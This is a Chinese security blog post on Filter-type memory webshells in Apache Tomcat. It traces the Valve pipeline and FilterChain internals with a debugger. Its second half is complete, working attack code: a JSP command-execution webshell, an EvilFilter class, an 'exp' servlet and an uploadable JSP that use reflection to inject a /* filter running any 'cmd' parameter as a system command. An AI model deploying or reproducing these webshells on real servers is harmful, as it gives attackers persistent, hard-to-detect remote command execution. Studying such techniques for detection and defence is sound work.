内存马系列--Filter型

参考文章:

先回顾一下:Filter主要就是通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

流程图:

img

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

所以我们后文的目标:动态注册恶意 Filter,并且将其放到 最前面

Tomcat Filter 流程分析

环境搭建

  • Tomcat 8.5.81

先起一个servlet

image-20260404215121714

导入依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>8.5.0</version>  
</dependency>  
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>8.5.15</version>  
</dependency>

自定义filter类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

然后修改 web.xml 文件,这里我们设置url-pattern为 /filter 即访问 /filter 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter>
        <filter-name>filter</filter-name>
        <filter-class>filter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
</web-app>

image-20260404220302052

在访问 /filter 之后的流程分析

先来分析 doFilter() 方法之后的东西

流程分析之前,需要像刚才导入 Servlet.jar 一样,导入 catalina.jar 这个包,以及 tomcat-websocket 包。
导入完毕之后,我们在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口,至此,调试正式开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>8.5.0</version>
        </dependency>
```

- 从这里开始

  ![](https://cdn.jsdelivr.net/gh/zhz0177/picture-bed@main/img/20260405162324174.png)

- 访问`http://localhost:8080/filter_war_exploded/filter`才会打到断点

  跟进之后走到了`ApplicationFilterChain` 类的 `doFilter()` 方法

  它主要是进行了 `Globals.IS_SECURITY_ENABLED`判断,也就是**全局安全服务**是否开启的判断。

  ![image-20260405164124865](https://cdn.jsdelivr.net/gh/zhz0177/picture-bed@main/img/20260405164124944.png)

- 继续往下走,到了`internalDoFilter`![image-20260405164149655](https://cdn.jsdelivr.net/gh/zhz0177/picture-bed@main/img/20260405164149684.png)

  步入`ApplicationFilterChain` 类的 `internalDoFilter()` 方法,进去看一下逻辑

  ![image-20260405164528694](https://cdn.jsdelivr.net/gh/zhz0177/picture-bed@main/img/20260405164528741.png)

  `internalDoFilter`里面的`filter`是通过`ApplicationFilterConfig filterConfig = filters[pos++];`得到的

  ​	这是的定义:

  ```java
   private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

image-20260405165211983

此时我们可以看到,这个filters里面有两个filters

image-20260405165452172

filters0是我们自己的filters,而filters1是tomcat 自带的 filter

因为此时 pos 是 1 所以取到 tomcat 的 filter

image-20260405165627430

filters[pos++]就使得filters取到 tomcat 的 filter

  • 我们继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法

    image-20260405165859584

    再往下走,会走到 chain.doFilter() 这个地方image-20260405170135539

    我们会发现这一个方法会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

    image-20260405170343959

    再看

    image-20260405171157977

    现在pos是2,n也是2,不进判断

    最终到了这里

    image-20260405171303151

那么为什么又会回到ApplicationFilterChain的DoFilter()呢??

这是因为 filter 调用的过程就是按顺序执行 FilterChain 里的 filter,每个 filter 里的 chain.doFilter 都是调用下一个 filter 的 doFilter,直到走到 tomcat 自带的最后一个 filter 调用 servlet 的 service 方法

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()

在访问 /filter 之前的流程分析

分析目的在于:假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。

  • 我们可以把断点下在最远的一处 invoke() 方法的地方,逆向分析前面的断点

    image-20260405174025532

    我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。

    image-20260405174738693

    接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

    image-20260405175124502

    Tomcat 中,每个容器都有一个 Pipeline(管道),管道里装着多个 Valve(阀门)invoke是 Valve` 接口中定义的核心方法

    请求进入管道后,会依次调用每个 Valve 的 invoke()。每个 Valve 处理完自己的逻辑(如记录日志、身份认证)后,会调用 getNext().invoke() 将请求传给下一个阀门。

    用一张图来表示一下:

    img

    看一下每个经过的类(主要关注不属于tomcat架构的类)有什么用

    StandardWrapperValve (调用位置: invoke:96)

    • 类:StandardWrapperValve 继承自 ValveBase,是 Tomcat 中用来处理请求的管道组件。
    • 作用:负责请求到达 Tomcat 容器时,分配到具体的 Servlet,并执行该 Servlet 的生命周期方法(如 service())。它也处理对 ServletRequest 和 ServletResponse 的封装。

    StandardContextValve (调用位置: invoke:97)

    • 类:StandardContextValve 是 Tomcat 中处理 web 应用的上下文的管道组件。
    • 作用:它主要处理请求的上下文(Context),会负责识别请求是否符合应用的配置要求,过滤掉无效的请求,或者将请求转发到合适的 Servlet 或 JSP。

    AuthenticatorBase (调用位置: invoke:543)

    • 类:AuthenticatorBase 是 Tomcat 认证过程的基类,提供基本的身份验证机制。
    • 作用:当请求需要进行身份验证时,这个类会处理相关的认证操作。通常是在用户请求资源时,验证用户的身份信息是否正确(比如 HTTP 基本认证或表单认证)。

    StandardHostValve (调用位置: invoke:135)

    • 类:StandardHostValve 是用于处理虚拟主机请求的 Valve。
    • 作用:它处理请求是否属于当前的虚拟主机(Host),根据虚拟主机的配置来路由请求。虚拟主机是 Tomcat 支持多站点的功能,用来根据域名分发请求到不同的应用。

    ErrorReportValve (调用位置: invoke:92)

    • 类:ErrorReportValve 负责在请求处理过程中出错时生成错误报告。
    • 作用:当发生错误(例如 HTTP 错误 404 或 500)时,ErrorReportValve 会生成详细的错误信息(如堆栈跟踪)并将其返回给客户端。

    AbstractAccessLogValve (调用位置: invoke:698)

    • 类:AbstractAccessLogValve 是用于记录访问日志的基类。
    • 作用:它负责将请求的详细信息(如请求的 URL、时间戳、客户端 IP 等)记录到日志文件中,以供后续分析。它支持灵活的日志格式配置,并且是 Tomcat 默认启用的访问日志功能的基础。

    StandardEngineValve (调用位置: invoke:78)

    • 类:StandardEngineValve 是 Tomcat 中的引擎级别的 Valve,负责处理跨应用的请求。
    • 作用:它是在 Tomcat 中对整个引擎(Engine)进行请求处理的组件。在请求到达应用之前,它负责进行一些全局级的操作,比如进行负载均衡、跨应用请求的转发等。

    至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的。

  • 下在这里

    image-20260405211810616

    这里我们要重点关注前文我们提到的filterChain 是什么?

    简单说就是:FilterChain(过滤器链)就是将Filter串联起来,决定先后执行顺序,是一个动态生成的执行列表

    • image-20260405212436506

    • 我们跟进 createFilterChain() 这个方法

    image-20260405212557687

    内部使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递。

    • 我们在 createFilterChain() 方法走一下流程

      先是Tomcat 会尝试获取或创建一个空的链条容器

      image-20260405213542963

      ApplicationFilterChain 是 Filter 的载体。Tomcat 这里做了一个性能优化:如果当前请求已经有一个链条对象,就直接复用,否则创建一个新的,并把最终的目标 Servlet 放在链条的终点。

    • 代码开始寻找容器

      image-20260405213637834

      StandardContext 代表了你的 Web 应用。它通过 findFilterMaps() 获取一个数组,这个数组里存放了我们在 web.xml 中配置的所有 <filter-mapping> 信息。

      内存马的本质就是修改这个 filterMaps 数组,向其中插入一个恶意的映射规则

    • 匹配 URL 路径,Tomcat 优先添加那些基于 URL 路径匹配的 Filter

      image-20260405213903812

      遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

      image-20260405214339057

      这里使用了 for 循环遍历数组。谁在数组前面,谁就被先加入链条

      因为 matchFiltersURL 匹配(如 /*)的优先级最高且最先被处理,所以内存马通常伪装成一个路径为 /* 的 Filter,并确保自己在 filterMaps 数组的 0 号位置,从而实现“最先执行”。

    • 匹配 Servlet 名称,在 URL 匹配完成后,Tomcat 会进行第二次扫描

      image-20260405213951955

      这是针对那些只拦截特定 Servlet(如 HelloServlet)的 Filter

      即便你的 Filter 在 web.xml 里写在最后,只要你是基于 URL 路径(Path-mapped) 匹配的,你在链条中的位置也会优先于所有基于 Servlet 名称 匹配的 Filter。

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析

流程小结

  1. 依次调用invoke()

    层层调用管道,在最后一个管道的地方(调用 ApplicationFilterFactory.createFilterChain())会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配(StandardContext对filterMaps把匹配到的所有 Filter 按照顺序装进一个 ApplicationFilterChain 对象里)

  2. filterchain 拿出来之后

    进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。

  3. 最后一个 filter

最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。

攻击思路

上面也提到了几点

主要就是构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps

filterConfig:决定了你的恶意代码是什么

filterMaps:决定了你的恶意代码何时被触发以及在链条中的位置(filterMaps中的数据对应 web.xml 中的 filter-mapping 标签)

Filter 型内存马攻击思路分析

  • 前面我们提及要操作filterMaps来实现

    而filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    @Override
    public void addFilterMap(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.add(filterMap);
        fireContainerEvent("addFilterMap", filterMap);
    }
    
    @Override
    public void addFilterMapBefore(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.addBefore(filterMap);
        fireContainerEvent("addFilterMap", filterMap);
    }

    StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

    这个容器包含这三个成员变量

    • filterMaps变量:包含所有过滤器的URL映射关系

    • filterDefs变量:包含所有过滤器包括实例内部等变量

    • filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

      image-20260406142137915

      filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

      filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

      filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

      (UrlPattern就是在web.xml里面对应的访问路径)

      1
      2
      3
      4
      <filter-mapping>
              <filter-name>filter</filter-name>
              <url-pattern>/filter</url-pattern>
          </filter-mapping>
  • 看对应的数据:ApplicationFilterConfig 里面存了什么东西

    image-20260406144936665

    它有三个重要的东西:
    一个是ServletContext,一个是filter,一个是filterDef

    • filterDef对应web.xml中的filter标签

      1
      2
      3
      4
      <filter>  
       <filter-name>filter</filter-name>  
       <filter-class>filter</filter-class>  
      </filter>

      从org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name, filterConfig);添加

      代码如下:

      image-20260406145428286

    通过前文分析,得出构造的主要思路如下

    1. 获取当前应用的StandardContext对象
    2. 通过StandardContext对象再获取filterConfigs
    3. 接着实现自定义想要注入的filter对象
    4. 然后为自定义对象的filter创建一个FilterDef
    5. 最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

    img

Filter 型内存马的实现

静态演示

  • 有回显的木马(比无回显多个输入输出)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <% if(request.getParameter("cmd")!=null){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.print(new String(b));
        }
        out.print("</pre>");
    }
     
    %>

    image-20260406151550191

  • 把这个恶意的有回显的🐎插入到 Filter 里面进去,也就是说要配置一个恶意的 Filter

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    import javax.servlet.*;  
    import javax.servlet.annotation.WebFilter;  
    import javax.servlet.annotation.WebServlet;  
    import javax.servlet.http.HttpServletRequest;  
    import javax.servlet.http.HttpServletResponse;  
      
    import java.io.IOException;  
    import java.io.InputStream;  
    import java.util.Scanner;  
      
    
    public class EvilFilter implements Filter {  
        public void destroy() {  
        }  
      
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {  
            HttpServletRequest req = (HttpServletRequest) request;  
     HttpServletResponse resp = (HttpServletResponse) response;  
     if (req.getParameter("cmd") != null) {  
                boolean isLinux = true;  
     String osTyp = System.getProperty("os.name");  
     if (osTyp != null && osTyp.toLowerCase().contains("win")) {  
                    isLinux = false;  
     }  
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};  
     InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();  
     Scanner s = new Scanner(in).useDelimiter("\\A");  
     String output = s.hasNext() ? s.next() : "";  
     resp.getWriter().write(output);  
     resp.getWriter().flush();  
     }  
            chain.doFilter(request, response);  
     }  
      
        public void init(FilterConfig config) throws ServletException {  
      
        }  
      
    }

    web.xml记得修改类名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
             version="4.0">
        <filter>
            <filter-name>filter</filter-name>
            <filter-class>EvilFilter</filter-class>
        </filter>
    
        <filter-mapping>
            <filter-name>filter</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
    </web-app>

    image-20260406213539561

动态放入

  • 其实就是在操作Filter ,但是我们在现实操作的时候需要动态的将该 Filter 给添加进去

    由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。(反射即可)流程图如下:

    img

  • 先使用反射获取StandardContext

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //找到包装在 Facade 里的 ApplicationContext 对象。
    ServletContext servletContext = request.getSession().getServletContext();  
    //第一层反射 (context 字段):从 ApplicationContextFacade 里拿到了内部真实的 ApplicationContext。
     Field appctx = servletContext.getClass().getDeclaredField("context");  
     appctx.setAccessible(true);  
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  
    //第二层反射 (context 字段):从 ApplicationContext 里拿到了 Tomcat 最核心的容器类 StandardContext。
    //注意:ApplicationContext 是对 StandardContext 的进一步包装,提供了符合 Servlet 规范的接口
     Field stdctx = applicationContext.getClass().getDeclaredField("context");  
     stdctx.setAccessible(true);  
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  
    //第三层反射:获取 StandardContext 中存储 Filter 运行实例的私有 Map
     String FilterName = "cmd_Filter";  
     Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
     Configs.setAccessible(true);   
    // 拿到这个 Map 后,你就拥有了动态增删 Filter 实例的权限,可以添加自己的恶意Filter
     filterConfigs = (Map) Configs.get(standardContext);
  • 接着,定义一个 Filter

    作用:拦截所有经过它的请求,检查是否带有特定参数,如果有,就执行系统命令并将结果回显到网页上。

    (判断+命令执行+回显)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    Filter filter = new Filter() {  
      
                        @Override  
     public void init(FilterConfig filterConfig) throws Filter {  
      
                        }  
      
                        @Override  
     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
                            HttpServletRequest req = (HttpServletRequest) servletRequest;  
     if (req.getParameter("cmd") != null){  
      
                                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  
    //  
     Scanner s = new Scanner(in).useDelimiter("\\A");  
     String output = s.hasNext() ? s.next() : "";  
     servletResponse.getWriter().write(output);  
      
     return; }  
                            filterChain.doFilter(servletRequest,servletResponse);  
     }  
      
                        @Override  
     public void destroy() {  
      
                        }  
                    };
  • 再设置 FilterDef 和 FilterMaps

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
    Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");  
    Constructor declaredConstructors = FilterDef.getDeclaredConstructor();  
    FilterDef o = (FilterDef) declaredConstructors.newInstance();  
    o.setFilter(filter);  
    o.setFilterName(FilterName);  
    o.setFilterClass(filter.getClass().getName());  //进行内部填充
    standardContext.addFilterDef(o);  
    //反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去  
    Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");  
    Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();  
    org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();  
      
    o1.addURLPattern("/*");  
    o1.setFilterName(FilterName);  
    o1.setDispatcher(DispatcherType.REQUEST.name());  
    standardContext.addFilterMapBefore(o1);
  • 最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面

    1
    2
    3
    4
    5
    6
    Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
    Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);  
    declaredConstructor1.setAccessible(true);  
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);  
    filterConfigs.put(FilterName,filterConfig);  
    response.getWriter().write("Success");

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import org.apache.catalina.Context;  
import org.apache.catalina.core.ApplicationContext;  
import org.apache.catalina.core.ApplicationFilterConfig;  
import org.apache.catalina.core.StandardContext;  
import org.apache.tomcat.util.descriptor.web.FilterDef;  
import org.apache.tomcat.util.descriptor.web.FilterMap;  
  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.InputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
  
import java.util.Map;  
import java.util.Scanner;  
  
@WebServlet("/demoServlet")  
public class FilterShell extends HttpServlet {  
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  
  
//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();  
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();  
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();  
//该获取StandardContext测试报错  
 Field Configs = null;  
 Map filterConfigs;  
 try {  
            //这里是反射获取ApplicationContext的context,也就是standardContext  
 ServletContext servletContext = request.getSession().getServletContext();  
  
 Field appctx = servletContext.getClass().getDeclaredField("context");  
 appctx.setAccessible(true);  
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  
  
 Field stdctx = applicationContext.getClass().getDeclaredField("context");  
 stdctx.setAccessible(true);  
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  
  
  
  
 String FilterName = "cmd_Filter";  
 Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
 Configs.setAccessible(true);  
 filterConfigs = (Map) Configs.get(standardContext);  
  
 if (filterConfigs.get(FilterName) == null){  
                Filter filter = new Filter() {  
  
                    @Override  
 public void init(FilterConfig filterConfig) throws ServletException {  
  
                    }  
  
                    @Override  
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
                        HttpServletRequest req = (HttpServletRequest) servletRequest;  
 if (req.getParameter("cmd") != null){  
  
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  
//  
 Scanner s = new Scanner(in).useDelimiter("\\A");  
 String output = s.hasNext() ? s.next() : "";  
 servletResponse.getWriter().write(output);  
  
 return; }  
                        filterChain.doFilter(servletRequest,servletResponse);  
 }  
  
                    @Override  
 public void destroy() {  
  
                    }  
                };  
 //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加  
 Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");  
 Constructor declaredConstructors = FilterDef.getDeclaredConstructor();  
 FilterDef o = (FilterDef)declaredConstructors.newInstance();  
 o.setFilter(filter);  
 o.setFilterName(FilterName);  
 o.setFilterClass(filter.getClass().getName());  
 standardContext.addFilterDef(o);  
 //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去  
 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");  
 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();  
 org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();  
  
 o1.addURLPattern("/*");  
 o1.setFilterName(FilterName);  
 o1.setDispatcher(DispatcherType.REQUEST.name());  
 standardContext.addFilterMapBefore(o1);  
  
 //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去  
 Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);  
 declaredConstructor1.setAccessible(true);  
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);  
 filterConfigs.put(FilterName,filterConfig);  
 response.getWriter().write("Success");  
  
  
 }  
        } catch (Exception e) {  
            e.printStackTrace();  
 }  
  
  
    }  
  
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
        this.doPost(request, response);  
 }  
}

访问http://localhost:8080/filter_war_exploded/demoServletimage-20260406215854789

访问http://localhost:8080/filter_war_exploded/demoServlet ?cmd=whoami

image-20260406215807720

注入成功

文件上传

上传一个 .jsp 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%--
  User: piggy
  Date: 2026/4/06
  Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "piggy";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

小结

Filter 型内存马主要就是获取到 StandContext,然后通过反射注入。表现形式为 Filter。具体的实施可以是上传 .jsp 文件


内存马系列--Filter型
http://example.com/2026/04/12/内存马系列--Filter型/
作者
Piggy Sprint
发布于
2026年4月12日
许可协议